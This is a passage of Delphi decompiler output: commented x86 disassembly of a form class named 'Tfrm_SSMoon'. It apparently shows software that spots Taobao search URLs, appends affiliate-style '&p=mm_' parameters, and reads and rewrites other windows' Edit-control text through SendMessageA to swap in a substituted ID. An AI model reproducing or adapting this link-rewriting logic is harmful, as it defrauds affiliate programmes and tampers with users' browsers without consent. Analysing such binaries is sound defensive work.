|
004BB071   E812A8F4FF             call    00405888
004BB076   EB21                   jmp     004BB099
004BB078   FF75FC                 push    dword ptr [ebp-$04]

* Possible String Reference to: '&p=mm_'
|
004BB07B   6820B34B00             push    $004BB320
004BB080   A138664C00             mov     eax, dword ptr [$004C6638]
004BB085   FF30                   push    dword ptr [eax]

* Possible String Reference to: '_0_0&n=11'
|
004BB087   6830B34B00             push    $004BB330
004BB08C   8B45E8                 mov     eax, [ebp-$18]
004BB08F   BA04000000             mov     edx, $00000004

|
004BB094   E8EFA7F4FF             call    00405888
004BB099   6A01                   push    $01
004BB09B   8D55C0                 lea     edx, [ebp-$40]
004BB09E   A168DD4C00             mov     eax, dword ptr [$004CDD68]

|
004BB0A3   E80483FFFF             call    004B33AC
004BB0A8   8D45C0                 lea     eax, [ebp-$40]
004BB0AB   8D55B0                 lea     edx, [ebp-$50]

|
004BB0AE   E87183FFFF             call    004B3424
004BB0B3   8B55B0                 mov     edx, [ebp-$50]
004BB0B6   A154DD4C00             mov     eax, dword ptr [$004CDD54]
004BB0BB   8B8088030000           mov     eax, [eax+$0388]
004BB0C1   8B4DFC                 mov     ecx, [ebp-$04]

|
004BB0C4   E8D70AFFFF             call    004ABBA0
004BB0C9   EB0C                   jmp     004BB0D7
004BB0CB   FF45DC                 inc     dword ptr [ebp-$24]
004BB0CE   FF4DD8                 dec     dword ptr [ebp-$28]
004BB0D1   0F85E5FEFFFF           jnz     004BAFBC
004BB0D7   8B45E4                 mov     eax, [ebp-$1C]

|
004BB0DA   E86994F4FF             call    00404548
004BB0DF   8B45E0                 mov     eax, [ebp-$20]

|
004BB0E2   E86194F4FF             call    00404548
004BB0E7   EB79                   jmp     004BB162
004BB0E9   8BC6                   mov     eax, esi

* Reference to : Tfrm_SSMoon._PROC_004BAD08()
|
004BB0EB   E818FCFFFF             call    004BAD08
004BB0F0   84C0                   test    al, al
004BB0F2   7438                   jz      004BB12C
004BB0F4   A154DD4C00             mov     eax, dword ptr [$004CDD54]
004BB0F9   8B8088030000           mov     eax, [eax+$0388]
004BB0FF   8B4014                 mov     eax, [eax+$14]
004BB102   8BD3                   mov     edx, ebx
004BB104   8B08                   mov     ecx, [eax]
004BB106   FF5118                 call    dword ptr [ecx+$18]
004BB109   FF7008                 push    dword ptr [eax+$08]

* Possible String Reference to: '&p=mm_'
|
004BB10C   6820B34B00             push    $004BB320
004BB111   A110644C00             mov     eax, dword ptr [$004C6410]
004BB116   FF30                   push    dword ptr [eax]

* Possible String Reference to: '_0_0&n=11'
|
004BB118   6830B34B00             push    $004BB330
004BB11D   8B45E8                 mov     eax, [ebp-$18]
004BB120   BA04000000             mov     edx, $00000004

|
004BB125   E85EA7F4FF             call    00405888
004BB12A   EB36                   jmp     004BB162
004BB12C   A154DD4C00             mov     eax, dword ptr [$004CDD54]
004BB131   8B8088030000           mov     eax, [eax+$0388]
004BB137   8B4014                 mov     eax, [eax+$14]
004BB13A   8BD3                   mov     edx, ebx
004BB13C   8B08                   mov     ecx, [eax]
004BB13E   FF5118                 call    dword ptr [ecx+$18]
004BB141   FF7008                 push    dword ptr [eax+$08]

* Possible String Reference to: '&p=mm_'
|
004BB144   6820B34B00             push    $004BB320
004BB149   A138664C00             mov     eax, dword ptr [$004C6638]
004BB14E   FF30                   push    dword ptr [eax]

* Possible String Reference to: '_0_0&n=11'
|
004BB150   6830B34B00             push    $004BB330
004BB155   8B45E8                 mov     eax, [ebp-$18]
004BB158   BA04000000             mov     edx, $00000004

|
004BB15D   E826A7F4FF             call    00405888
004BB162   33C0                   xor     eax, eax
004BB164   5A                     pop     edx
004BB165   59                     pop     ecx
004BB166   59                     pop     ecx
004BB167   648910                 mov     fs:[eax], edx

****** FINALLY
|
004BB16A   6899B14B00             push    $004BB199
004BB16F   8D45B0                 lea     eax, [ebp-$50]
004BB172   BA04000000             mov     edx, $00000004

|
004BB177   E89CA3F4FF             call    00405518
004BB17C   8D45D0                 lea     eax, [ebp-$30]

|
004BB17F   E870A3F4FF             call    004054F4
004BB184   8D45F0                 lea     eax, [ebp-$10]
004BB187   BA04000000             mov     edx, $00000004

|
004BB18C   E887A3F4FF             call    00405518
004BB191   C3                     ret


|
004BB192   E9459BF4FF             jmp     00404CDC
004BB197   EBD6                   jmp     004BB16F

****** END
|
004BB199   5F                     pop     edi
004BB19A   5E                     pop     esi
004BB19B   5B                     pop     ebx
004BB19C   8BE5                   mov     esp, ebp
004BB19E   5D                     pop     ebp
004BB19F   C3                     ret

*)
end;

procedure Tfrm_SSMoon._PROC_004BB33D(Sender : TObject);
begin
(*
004BB33D   8BEC                   mov     ebp, esp
004BB33F   6A00                   push    $00
004BB341   6A00                   push    $00
004BB343   6A00                   push    $00
004BB345   53                     push    ebx
004BB346   56                     push    esi
004BB347   57                     push    edi
004BB348   8955F8                 mov     [ebp-$08], edx
004BB34B   8BF0                   mov     esi, eax
004BB34D   33C0                   xor     eax, eax
004BB34F   55                     push    ebp
004BB350   6816B54B00             push    $004BB516

***** TRY
|
004BB355   64FF30                 push    dword ptr fs:[eax]
004BB358   648920                 mov     fs:[eax], esp
004BB35B   8B45F8                 mov     eax, [ebp-$08]

|
004BB35E   E891A1F4FF             call    004054F4
004BB363   A154DD4C00             mov     eax, dword ptr [$004CDD54]
004BB368   8B8088030000           mov     eax, [eax+$0388]
004BB36E   83782800               cmp     dword ptr [eax+$28], +$00
004BB372   0F8480010000           jz      004BB4F8
004BB378   33D2                   xor     edx, edx
004BB37A   55                     push    ebp
004BB37B   68E6B44B00             push    $004BB4E6

***** TRY
|
004BB380   64FF32                 push    dword ptr fs:[edx]
004BB383   648922                 mov     fs:[edx], esp
004BB386   8D55FC                 lea     edx, [ebp-$04]
004BB389   8BC6                   mov     eax, esi

|
004BB38B   E8D8E5F4FF             call    00409968
004BB390   A154DD4C00             mov     eax, dword ptr [$004CDD54]
004BB395   8B8088030000           mov     eax, [eax+$0388]
004BB39B   8B4028                 mov     eax, [eax+$28]
004BB39E   48                     dec     eax
004BB39F   740B                   jz      004BB3AC
004BB3A1   48                     dec     eax
004BB3A2   7438                   jz      004BB3DC
004BB3A4   48                     dec     eax
004BB3A5   745F                   jz      004BB406
004BB3A7   E9A6000000             jmp     004BB452
004BB3AC   8B55FC                 mov     edx, [ebp-$04]

* Possible String Reference to: 'search8.taobao.com'
|
004BB3AF   B82CB54B00             mov     eax, $004BB52C

|
004BB3B4   E817A7F4FF             call    00405AD0
004BB3B9   85C0                   test    eax, eax
004BB3BB   7F18                   jnle    004BB3D5
004BB3BD   8B55FC                 mov     edx, [ebp-$04]

* Possible String Reference to: 's8.taobao.com'
|
004BB3C0   B848B54B00             mov     eax, $004BB548

|
004BB3C5   E806A7F4FF             call    00405AD0
004BB3CA   85C0                   test    eax, eax
004BB3CC   7F07                   jnle    004BB3D5
004BB3CE   33C0                   xor     eax, eax
004BB3D0   E98A000000             jmp     004BB45F
004BB3D5   B001                   mov     al, $01
004BB3D7   E983000000             jmp     004BB45F
004BB3DC   8B55FC                 mov     edx, [ebp-$04]

* Possible String Reference to: 'search.taobao.com'
|
004BB3DF   B860B54B00             mov     eax, $004BB560

|
004BB3E4   E8E7A6F4FF             call    00405AD0
004BB3E9   85C0                   test    eax, eax
004BB3EB   7F15                   jnle    004BB402
004BB3ED   8B55FC                 mov     edx, [ebp-$04]

* Possible String Reference to: 's.taobao.com'
|
004BB3F0   B87CB54B00             mov     eax, $004BB57C

|
004BB3F5   E8D6A6F4FF             call    00405AD0
004BB3FA   85C0                   test    eax, eax
004BB3FC   7F04                   jnle    004BB402
004BB3FE   33C0                   xor     eax, eax
004BB400   EB5D                   jmp     004BB45F
004BB402   B001                   mov     al, $01
004BB404   EB59                   jmp     004BB45F
004BB406   8B55FC                 mov     edx, [ebp-$04]

* Possible String Reference to: 'search8.taobao.com'
|
004BB409   B82CB54B00             mov     eax, $004BB52C

|
004BB40E   E8BDA6F4FF             call    00405AD0
004BB413   85C0                   test    eax, eax
004BB415   7F37                   jnle    004BB44E
004BB417   8B55FC                 mov     edx, [ebp-$04]

* Possible String Reference to: 's8.taobao.com'
|
004BB41A   B848B54B00             mov     eax, $004BB548

|
004BB41F   E8ACA6F4FF             call    00405AD0
004BB424   85C0                   test    eax, eax
004BB426   7F26                   jnle    004BB44E
004BB428   8B55FC                 mov     edx, [ebp-$04]

* Possible String Reference to: 'search.taobao.com'
|
004BB42B   B860B54B00             mov     eax, $004BB560

|
004BB430   E89BA6F4FF             call    00405AD0
004BB435   85C0                   test    eax, eax
004BB437   7F15                   jnle    004BB44E
004BB439   8B55FC                 mov     edx, [ebp-$04]

* Possible String Reference to: 's.taobao.com'
|
004BB43C   B87CB54B00             mov     eax, $004BB57C

|
004BB441   E88AA6F4FF             call    00405AD0
004BB446   85C0                   test    eax, eax
004BB448   7F04                   jnle    004BB44E
004BB44A   33C0                   xor     eax, eax
004BB44C   EB11                   jmp     004BB45F
004BB44E   B001                   mov     al, $01
004BB450   EB0D                   jmp     004BB45F
004BB452   33C0                   xor     eax, eax
004BB454   5A                     pop     edx
004BB455   59                     pop     ecx
004BB456   59                     pop     ecx
004BB457   648910                 mov     fs:[eax], edx
004BB45A   E999000000             jmp     004BB4F8
004BB45F   84C0                   test    al, al
004BB461   7479                   jz      004BB4DC
004BB463   8BD6                   mov     edx, esi

* Possible String Reference to: 'q='
|
004BB465   B894B54B00             mov     eax, $004BB594

|
004BB46A   E861A6F4FF             call    00405AD0
004BB46F   8BD8                   mov     ebx, eax
004BB471   85DB                   test    ebx, ebx
004BB473   7F0A                   jnle    004BB47F
004BB475   33C0                   xor     eax, eax
004BB477   5A                     pop     edx
004BB478   59                     pop     ecx
004BB479   59                     pop     ecx
004BB47A   648910                 mov     fs:[eax], edx
004BB47D   EB79                   jmp     004BB4F8
004BB47F   8BFE                   mov     edi, esi
004BB481   85FF                   test    edi, edi
004BB483   7405                   jz      004BB48A
004BB485   83EF04                 sub     edi, +$04
004BB488   8B3F                   mov     edi, [edi]
004BB48A   8D45FC                 lea     eax, [ebp-$04]
004BB48D   50                     push    eax
004BB48E   8BCF                   mov     ecx, edi
004BB490   2BCB                   sub     ecx, ebx
004BB492   49                     dec     ecx
004BB493   8D5302                 lea     edx, [ebx+$02]
004BB496   8BC6                   mov     eax, esi

|
004BB498   E84FA5F4FF             call    004059EC
004BB49D   8B55FC                 mov     edx, [ebp-$04]
004BB4A0   B8A0B54B00             mov     eax, $004BB5A0

|
004BB4A5   E826A6F4FF             call    00405AD0
004BB4AA   8BD8                   mov     ebx, eax
004BB4AC   85DB                   test    ebx, ebx
004BB4AE   7F0D                   jnle    004BB4BD
004BB4B0   8B55F8                 mov     edx, [ebp-$08]
004BB4B3   8B45FC                 mov     eax, [ebp-$04]

|
004BB4B6   E84D71FFFF             call    004B2608
004BB4BB   EB1F                   jmp     004BB4DC
004BB4BD   8D45F4                 lea     eax, [ebp-$0C]
004BB4C0   50                     push    eax
004BB4C1   8BCB                   mov     ecx, ebx
004BB4C3   49                     dec     ecx
004BB4C4   BA01000000             mov     edx, $00000001
004BB4C9   8B45FC                 mov     eax, [ebp-$04]

|
004BB4CC   E81BA5F4FF             call    004059EC
004BB4D1   8B45F4                 mov     eax, [ebp-$0C]
004BB4D4   8B55F8                 mov     edx, [ebp-$08]

|
004BB4D7   E82C71FFFF             call    004B2608
004BB4DC   33C0                   xor     eax, eax
004BB4DE   5A                     pop     edx
004BB4DF   59                     pop     ecx
004BB4E0   59                     pop     ecx
004BB4E1   648910                 mov     fs:[eax], edx
004BB4E4   EB12                   jmp     004BB4F8

|
004BB4E6   E93D95F4FF             jmp     00404A28
004BB4EB   8B45F8                 mov     eax, [ebp-$08]

|
004BB4EE   E801A0F4FF             call    004054F4

|
004BB4F3   E84099F4FF             call    00404E38

****** END
|
004BB4F8   33C0                   xor     eax, eax
004BB4FA   5A                     pop     edx
004BB4FB   59                     pop     ecx
004BB4FC   59                     pop     ecx
004BB4FD   648910                 mov     fs:[eax], edx

****** FINALLY
|
004BB500   681DB54B00             push    $004BB51D
004BB505   8D45F4                 lea     eax, [ebp-$0C]

|
004BB508   E8E79FF4FF             call    004054F4
004BB50D   8D45FC                 lea     eax, [ebp-$04]

|
004BB510   E8DF9FF4FF             call    004054F4
004BB515   C3                     ret


|
004BB516   E9C197F4FF             jmp     00404CDC
004BB51B   EBE8                   jmp     004BB505

****** END
|
004BB51D   5F                     pop     edi
004BB51E   5E                     pop     esi
004BB51F   5B                     pop     ebx
004BB520   8BE5                   mov     esp, ebp
004BB522   5D                     pop     ebp
004BB523   C3                     ret

*)
end;

procedure Tfrm_SSMoon._PROC_004BB5A5(Sender : TObject);
begin
(*
004BB5A5   8BEC                   mov     ebp, esp
004BB5A7   B905000000             mov     ecx, $00000005
004BB5AC   6A00                   push    $00
004BB5AE   6A00                   push    $00
004BB5B0   49                     dec     ecx
004BB5B1   75F9                   jnz     004BB5AC
004BB5B3   53                     push    ebx
004BB5B4   56                     push    esi
004BB5B5   57                     push    edi
004BB5B6   8BF0                   mov     esi, eax
004BB5B8   33C0                   xor     eax, eax
004BB5BA   55                     push    ebp

* Possible String Reference to: '殓旚胫嬅_^[嬪]肬嬱伳佝SVW3缐呚?
|                                墔荥墔帼墔濑墔棹墔忐塃鼔
|                                E鴫E?繳h捈K'
|
004BB5BB   68F0B74B00             push    $004BB7F0

***** TRY
|
004BB5C0   64FF30                 push    dword ptr fs:[eax]
004BB5C3   648920                 mov     fs:[eax], esp
004BB5C6   33DB                   xor     ebx, ebx
004BB5C8   8BC6                   mov     eax, esi
004BB5CA   33D2                   xor     edx, edx
004BB5CC   52                     push    edx
004BB5CD   50                     push    eax
004BB5CE   8D45F0                 lea     eax, [ebp-$10]

|
004BB5D1   E822EDF4FF             call    0040A2F8
004BB5D6   8B55F0                 mov     edx, [ebp-$10]
004BB5D9   A154DD4C00             mov     eax, dword ptr [$004CDD54]
004BB5DE   8B808C030000           mov     eax, [eax+$038C]
004BB5E4   8B08                   mov     ecx, [eax]
004BB5E6   FF5154                 call    dword ptr [ecx+$54]
004BB5E9   40                     inc     eax
004BB5EA   0F85D0010000           jnz     004BB7C0
004BB5F0   BA5CDD4C00             mov     edx, $004CDD5C
004BB5F5   8BC6                   mov     eax, esi

|
004BB5F7   E8A8F1FFFF             call    004BA7A4
004BB5FC   85C0                   test    eax, eax
004BB5FE   0F85BC010000           jnz     004BB7C0
004BB604   833D5CDD4C0000         cmp     dword ptr [$004CDD5C], +$00
004BB60B   0F84AF010000           jz      004BB7C0
004BB611   33D2                   xor     edx, edx
004BB613   55                     push    ebp
004BB614   68B4B74B00             push    $004BB7B4

***** TRY
|
004BB619   64FF32                 push    dword ptr fs:[edx]
004BB61C   648922                 mov     fs:[edx], esp
004BB61F   A154DD4C00             mov     eax, dword ptr [$004CDD54]
004BB624   83B88803000000         cmp     dword ptr [eax+$0388], +$00
004BB62B   750F                   jnz     004BB63C
004BB62D   B301                   mov     bl, $01
004BB62F   33C0                   xor     eax, eax
004BB631   5A                     pop     edx
004BB632   59                     pop     ecx
004BB633   59                     pop     ecx
004BB634   648910                 mov     fs:[eax], edx
004BB637   E984010000             jmp     004BB7C0
004BB63C   8D45EC                 lea     eax, [ebp-$14]

|
004BB63F   E8B8A6F4FF             call    00405CFC
004BB644   50                     push    eax
004BB645   A15CDD4C00             mov     eax, dword ptr [$004CDD5C]
004BB64A   50                     push    eax
004BB64B   8B00                   mov     eax, [eax]
004BB64D   FF5078                 call    dword ptr [eax+$78]

|
004BB650   E8F7BCF4FF             call    0040734C
004BB655   8B55EC                 mov     edx, [ebp-$14]
004BB658   8D45FC                 lea     eax, [ebp-$04]

|
004BB65B   E81CA1F4FF             call    0040577C
004BB660   A154DD4C00             mov     eax, dword ptr [$004CDD54]
004BB665   8B8088030000           mov     eax, [eax+$0388]
004BB66B   8B4020                 mov     eax, [eax+$20]
004BB66E   8B10                   mov     edx, [eax]
004BB670   FF5214                 call    dword ptr [edx+$14]
004BB673   85C0                   test    eax, eax
004BB675   7E71                   jle     004BB6E8
004BB677   A154DD4C00             mov     eax, dword ptr [$004CDD54]
004BB67C   8B8088030000           mov     eax, [eax+$0388]
004BB682   83782800               cmp     dword ptr [eax+$28], +$00
004BB686   7460                   jz      004BB6E8
004BB688   803D79DD4C0000         cmp     byte ptr [$004CDD79], $00
004BB68F   7457                   jz      004BB6E8
004BB691   8D55E8                 lea     edx, [ebp-$18]
004BB694   8B45FC                 mov     eax, [ebp-$04]

|
004BB697   E8A0FCFFFF             call    004BB33C
004BB69C   8B55E8                 mov     edx, [ebp-$18]
004BB69F   A178674C00             mov     eax, dword ptr [$004C6778]

|
004BB6A4   E89F9EF4FF             call    00405548
004BB6A9   A178674C00             mov     eax, dword ptr [$004C6778]
004BB6AE   833800                 cmp     dword ptr [eax], +$00
004BB6B1   7435                   jz      004BB6E8
004BB6B3   B301                   mov     bl, $01
004BB6B5   8BC6                   mov     eax, esi
004BB6B7   33D2                   xor     edx, edx
004BB6B9   52                     push    edx
004BB6BA   50                     push    eax
004BB6BB   8D45E4                 lea     eax, [ebp-$1C]

|
004BB6BE   E835ECF4FF             call    0040A2F8
004BB6C3   8B55E4                 mov     edx, [ebp-$1C]
004BB6C6   A154DD4C00             mov     eax, dword ptr [$004CDD54]
004BB6CB   8B808C030000           mov     eax, [eax+$038C]
004BB6D1   8B08                   mov     ecx, [eax]
004BB6D3   FF5138                 call    dword ptr [ecx+$38]

|
004BB6D6   E8B9F3FFFF             call    004BAA94
004BB6DB   33C0                   xor     eax, eax
004BB6DD   5A                     pop     edx
004BB6DE   59                     pop     ecx
004BB6DF   59                     pop     ecx
004BB6E0   648910                 mov     fs:[eax], edx
004BB6E3   E9D8000000             jmp     004BB7C0
004BB6E8   8D4DF8                 lea     ecx, [ebp-$08]
004BB6EB   A154DD4C00             mov     eax, dword ptr [$004CDD54]
004BB6F0   8B8088030000           mov     eax, [eax+$0388]
004BB6F6   8B55FC                 mov     edx, [ebp-$04]

|
004BB6F9   E8D207FFFF             call    004ABED0
004BB6FE   40                     inc     eax
004BB6FF   742F                   jz      004BB730
004BB701   8B45F8                 mov     eax, [ebp-$08]

|
004BB704   E857F2FFFF             call    004BA960
004BB709   8BD8                   mov     ebx, eax
004BB70B   84DB                   test    bl, bl
004BB70D   7421                   jz      004BB730
004BB70F   8BC6                   mov     eax, esi
004BB711   33D2                   xor     edx, edx
004BB713   52                     push    edx
004BB714   50                     push    eax
004BB715   8D45E0                 lea     eax, [ebp-$20]

|
004BB718   E8DBEBF4FF             call    0040A2F8
004BB71D   8B55E0                 mov     edx, [ebp-$20]
004BB720   A154DD4C00             mov     eax, dword ptr [$004CDD54]
004BB725   8B808C030000           mov     eax, [eax+$038C]
004BB72B   8B08                   mov     ecx, [eax]
004BB72D   FF5138                 call    dword ptr [ecx+$38]
004BB730   8D4DF4                 lea     ecx, [ebp-$0C]
004BB733   8BD6                   mov     edx, esi
004BB735   8B45FC                 mov     eax, [ebp-$04]

|
004BB738   E813F6FFFF             call    004BAD50
004BB73D   837DF400               cmp     dword ptr [ebp-$0C], +$00
004BB741   7467                   jz      004BB7AA
004BB743   8BC6                   mov     eax, esi
004BB745   33D2                   xor     edx, edx
004BB747   52                     push    edx
004BB748   50                     push    eax
004BB749   8D45DC                 lea     eax, [ebp-$24]

|
004BB74C   E8A7EBF4FF             call    0040A2F8
004BB751   8B55DC                 mov     edx, [ebp-$24]
004BB754   A154DD4C00             mov     eax, dword ptr [$004CDD54]
004BB759   8B8090030000           mov     eax, [eax+$0390]
004BB75F   8B08                   mov     ecx, [eax]
004BB761   FF5154                 call    dword ptr [ecx+$54]
004BB764   40                     inc     eax
004BB765   740A                   jz      004BB771
004BB767   33C0                   xor     eax, eax
004BB769   5A                     pop     edx
004BB76A   59                     pop     ecx
004BB76B   59                     pop     ecx
004BB76C   648910                 mov     fs:[eax], edx
004BB76F   EB4F                   jmp     004BB7C0
004BB771   8B45F4                 mov     eax, [ebp-$0C]

|
004BB774   E8E7F1FFFF             call    004BA960
004BB779   8BD8                   mov     ebx, eax
004BB77B   84DB                   test    bl, bl
004BB77D   7421                   jz      004BB7A0
004BB77F   8BC6                   mov     eax, esi
004BB781   33D2                   xor     edx, edx
004BB783   52                     push    edx
004BB784   50                     push    eax
004BB785   8D45D8                 lea     eax, [ebp-$28]

|
004BB788   E86BEBF4FF             call    0040A2F8
004BB78D   8B55D8                 mov     edx, [ebp-$28]
004BB790   A154DD4C00             mov     eax, dword ptr [$004CDD54]
004BB795   8B808C030000           mov     eax, [eax+$038C]
004BB79B   8B08                   mov     ecx, [eax]
004BB79D   FF5138                 call    dword ptr [ecx+$38]
004BB7A0   33C0                   xor     eax, eax
004BB7A2   5A                     pop     edx
004BB7A3   59                     pop     ecx
004BB7A4   59                     pop     ecx
004BB7A5   648910                 mov     fs:[eax], edx
004BB7A8   EB16                   jmp     004BB7C0
004BB7AA   33C0                   xor     eax, eax
004BB7AC   5A                     pop     edx
004BB7AD   59                     pop     ecx
004BB7AE   59                     pop     ecx
004BB7AF   648910                 mov     fs:[eax], edx
004BB7B2   EB0C                   jmp     004BB7C0

|
004BB7B4   E96F92F4FF             jmp     00404A28
004BB7B9   33DB                   xor     ebx, ebx

|
004BB7BB   E87896F4FF             call    00404E38

****** END
|
004BB7C0   33C0                   xor     eax, eax
004BB7C2   5A                     pop     edx
004BB7C3   59                     pop     ecx
004BB7C4   59                     pop     ecx
004BB7C5   648910                 mov     fs:[eax], edx

****** FINALLY
|

* Possible String Reference to: '嬅_^[嬪]肬嬱伳佝SVW3缐呚?墔荥
|                                墔帼墔濑墔棹墔忐塃鼔E鴫E??
|                                Uh捈K'
|
004BB7C8   68F7B74B00             push    $004BB7F7
004BB7CD   8D45D8                 lea     eax, [ebp-$28]
004BB7D0   BA05000000             mov     edx, $00000005

|
004BB7D5   E83E9DF4FF             call    00405518
004BB7DA   8D45EC                 lea     eax, [ebp-$14]

|
004BB7DD   E81AA5F4FF             call    00405CFC
004BB7E2   8D45F0                 lea     eax, [ebp-$10]
004BB7E5   BA04000000             mov     edx, $00000004

|
004BB7EA   E8299DF4FF             call    00405518
004BB7EF   C3                     ret


|
004BB7F0   E9E794F4FF             jmp     00404CDC
004BB7F5   EBD6                   jmp     004BB7CD

****** END
|
004BB7F7   8BC3                   mov     eax, ebx
004BB7F9   5F                     pop     edi
004BB7FA   5E                     pop     esi
004BB7FB   5B                     pop     ebx
004BB7FC   8BE5                   mov     esp, ebp
004BB7FE   5D                     pop     ebp
004BB7FF   C3                     ret

*)
end;

procedure Tfrm_SSMoon._PROC_004BB800(Sender : TObject);
begin
(*
004BB800   55                     push    ebp
004BB801   8BEC                   mov     ebp, esp
004BB803   81C4D8FEFFFF           add     esp, $FFFFFED8
004BB809   53                     push    ebx
004BB80A   56                     push    esi
004BB80B   57                     push    edi
004BB80C   33C0                   xor     eax, eax
004BB80E   8985D8FEFFFF           mov     [ebp+$FFFFFED8], eax
004BB814   8985DCFEFFFF           mov     [ebp+$FFFFFEDC], eax
004BB81A   8985E0FEFFFF           mov     [ebp+$FFFFFEE0], eax
004BB820   8985E4FEFFFF           mov     [ebp+$FFFFFEE4], eax
004BB826   8985E8FEFFFF           mov     [ebp+$FFFFFEE8], eax
004BB82C   8985ECFEFFFF           mov     [ebp+$FFFFFEEC], eax
004BB832   8945FC                 mov     [ebp-$04], eax
004BB835   8945F8                 mov     [ebp-$08], eax
004BB838   8945F4                 mov     [ebp-$0C], eax
004BB83B   33C0                   xor     eax, eax
004BB83D   55                     push    ebp
004BB83E   6892BC4B00             push    $004BBC92

***** TRY
|
004BB843   64FF30                 push    dword ptr fs:[eax]
004BB846   648920                 mov     fs:[eax], esp
004BB849   C745F0FFFFFFFF         mov     dword ptr [ebp-$10], $FFFFFFFF
004BB850   6800010000             push    $00000100
004BB855   8D85F0FEFFFF           lea     eax, [ebp+$FFFFFEF0]
004BB85B   50                     push    eax
004BB85C   8B4508                 mov     eax, [ebp+$08]
004BB85F   50                     push    eax

* Reference to: user32.GetClassNameA()
|
004BB860   E8A3C9F4FF             call    00408208
004BB865   8D45FC                 lea     eax, [ebp-$04]
004BB868   8D95F0FEFFFF           lea     edx, [ebp+$FFFFFEF0]
004BB86E   B900010000             mov     ecx, $00000100

|
004BB873   E8EC9EF4FF             call    00405764
004BB878   8B45FC                 mov     eax, [ebp-$04]

* Possible String Reference to: 'Edit'
|
004BB87B   BAB0BC4B00             mov     edx, $004BBCB0

|
004BB880   E897A0F4FF             call    0040591C
004BB885   0F85B3030000           jnz     004BBC3E
004BB88B   8D45F8                 lea     eax, [ebp-$08]

|
004BB88E   E8619CF4FF             call    004054F4
004BB893   8D85F0FEFFFF           lea     eax, [ebp+$FFFFFEF0]
004BB899   50                     push    eax
004BB89A   6800010000             push    $00000100
004BB89F   6A0D                   push    $0D
004BB8A1   8B4508                 mov     eax, [ebp+$08]
004BB8A4   50                     push    eax

* Reference to: user32.SendMessageA()
|
004BB8A5   E846CCF4FF             call    004084F0
004BB8AA   8D45F8                 lea     eax, [ebp-$08]
004BB8AD   8D95F0FEFFFF           lea     edx, [ebp+$FFFFFEF0]
004BB8B3   B900010000             mov     ecx, $00000100

|
004BB8B8   E8A79EF4FF             call    00405764
004BB8BD   837DF800               cmp     dword ptr [ebp-$08], +$00
004BB8C1   0F84A0030000           jz      004BBC67
004BB8C7   8B55F8                 mov     edx, [ebp-$08]

* Possible String Reference to: '15270722'
|
004BB8CA   B8C0BC4B00             mov     eax, $004BBCC0

|
004BB8CF   E8FCA1F4FF             call    00405AD0
004BB8D4   85C0                   test    eax, eax
004BB8D6   0F8F8B030000           jnle    004BBC67
004BB8DC   A154DD4C00             mov     eax, dword ptr [$004CDD54]
004BB8E1   8B8088030000           mov     eax, [eax+$0388]
004BB8E7   8B4018                 mov     eax, [eax+$18]
004BB8EA   8B10                   mov     edx, [eax]
004BB8EC   FF5214                 call    dword ptr [edx+$14]
004BB8EF   8BD8                   mov     ebx, eax
004BB8F1   4B                     dec     ebx
004BB8F2   85DB                   test    ebx, ebx
004BB8F4   0F8C89000000           jl      004BB983
004BB8FA   43                     inc     ebx
004BB8FB   33F6                   xor     esi, esi
004BB8FD   8D4DF4                 lea     ecx, [ebp-$0C]
004BB900   A154DD4C00             mov     eax, dword ptr [$004CDD54]
004BB905   8B8088030000           mov     eax, [eax+$0388]
004BB90B   8B4018                 mov     eax, [eax+$18]
004BB90E   8BD6                   mov     edx, esi
004BB910   8B38                   mov     edi, [eax]
004BB912   FF570C                 call    dword ptr [edi+$0C]
004BB915   8B55F8                 mov     edx, [ebp-$08]
004BB918   8B45F4                 mov     eax, [ebp-$0C]

|
004BB91B   E8B0A1F4FF             call    00405AD0
004BB920   85C0                   test    eax, eax
004BB922   7E57                   jle     004BB97B
004BB924   0FB605CCBC4B00         movzx   eax, byte ptr [$004BBCCC]
004BB92B   50                     push    eax
004BB92C   8D85ECFEFFFF           lea     eax, [ebp+$FFFFFEEC]
004BB932   50                     push    eax

* Possible String Reference to: '15270722'
|
004BB933   B9C0BC4B00             mov     ecx, $004BBCC0
004BB938   8B55F4                 mov     edx, [ebp-$0C]
004BB93B   8B45F8                 mov     eax, [ebp-$08]

|
004BB93E   E86D3FF5FF             call    0040F8B0
004BB943   8B95ECFEFFFF           mov     edx, [ebp+$FFFFFEEC]
004BB949   8D45F8                 lea     eax, [ebp-$08]

|
004BB94C   E83B9CF4FF             call    0040558C
004BB951   6A00                   push    $00
004BB953   6A00                   push    $00
004BB955   6A07                   push    $07
004BB957   8B4508                 mov     eax, [ebp+$08]
004BB95A   50                     push    eax

* Reference to: user32.SendMessageA()
|
004BB95B   E890CBF4FF             call    004084F0
004BB960   8B45F8                 mov     eax, [ebp-$08]
004BB963   50                     push    eax
004BB964   6A00                   push    $00
004BB966   6A0C                   push    $0C
004BB968   8B4508                 mov     eax, [ebp+$08]
004BB96B   50                     push    eax

* Reference to: user32.SendMessageA()
|
004BB96C   E87FCBF4FF             call    004084F0
004BB971   33C0                   xor     eax, eax
004BB973   8945F0                 mov     [ebp-$10], eax
004BB976   E9EC020000             jmp     004BBC67
004BB97B   46                     inc     esi
004BB97C   4B                     dec     ebx
004BB97D   0F857AFFFFFF           jnz     004BB8FD
004BB983   A154DD4C00             mov     eax, dword ptr [$004CDD54]
004BB988   8B8088030000           mov     eax, [eax+$0388]
004BB98E   8B4020                 mov     eax, [eax+$20]
004BB991   8B10                   mov     edx, [eax]
004BB993   FF5214                 call    dword ptr [edx+$14]
004BB996   8BD8                   mov     ebx, eax
004BB998   4B                     dec     ebx
004BB999   85DB                   test    ebx, ebx
004BB99B   0F8C93000000           jl      004BBA34
004BB9A1   43                     inc     ebx
004BB9A2   33F6                   xor     esi, esi
004BB9A4   8D4DF4                 lea     ecx, [ebp-$0C]
004BB9A7   A154DD4C00             mov     eax, dword ptr [$004CDD54]
004BB9AC   8B8088030000           mov     eax, [eax+$0388]
004BB9B2   8B4020                 mov     eax, [eax+$20]
004BB9B5   8BD6                   mov     edx, esi
004BB9B7   8B38                   mov     edi, [eax]
004BB9B9   FF570C                 call    dword ptr [edi+$0C]
004BB9BC   8B55F8                 mov     edx, [ebp-$08]
004BB9BF   8B45F4                 mov     eax, [ebp-$0C]

|
004BB9C2   E809A1F4FF             call    00405AD0
004BB9C7   85C0                   test    eax, eax
004BB9C9   7E61                   jle     004BBA2C
004BB9CB   0FB605CCBC4B00         movzx   eax, byte ptr [$004BBCCC]
004BB9D2   50                     push    eax
004BB9D3   8D85E8FEFFFF           lea     eax, [ebp+$FFFFFEE8]
004BB9D9   50                     push    eax

* Possible String Reference to: '15270722'
|
004BB9DA   B9C0BC4B00             mov     ecx, $004BBCC0
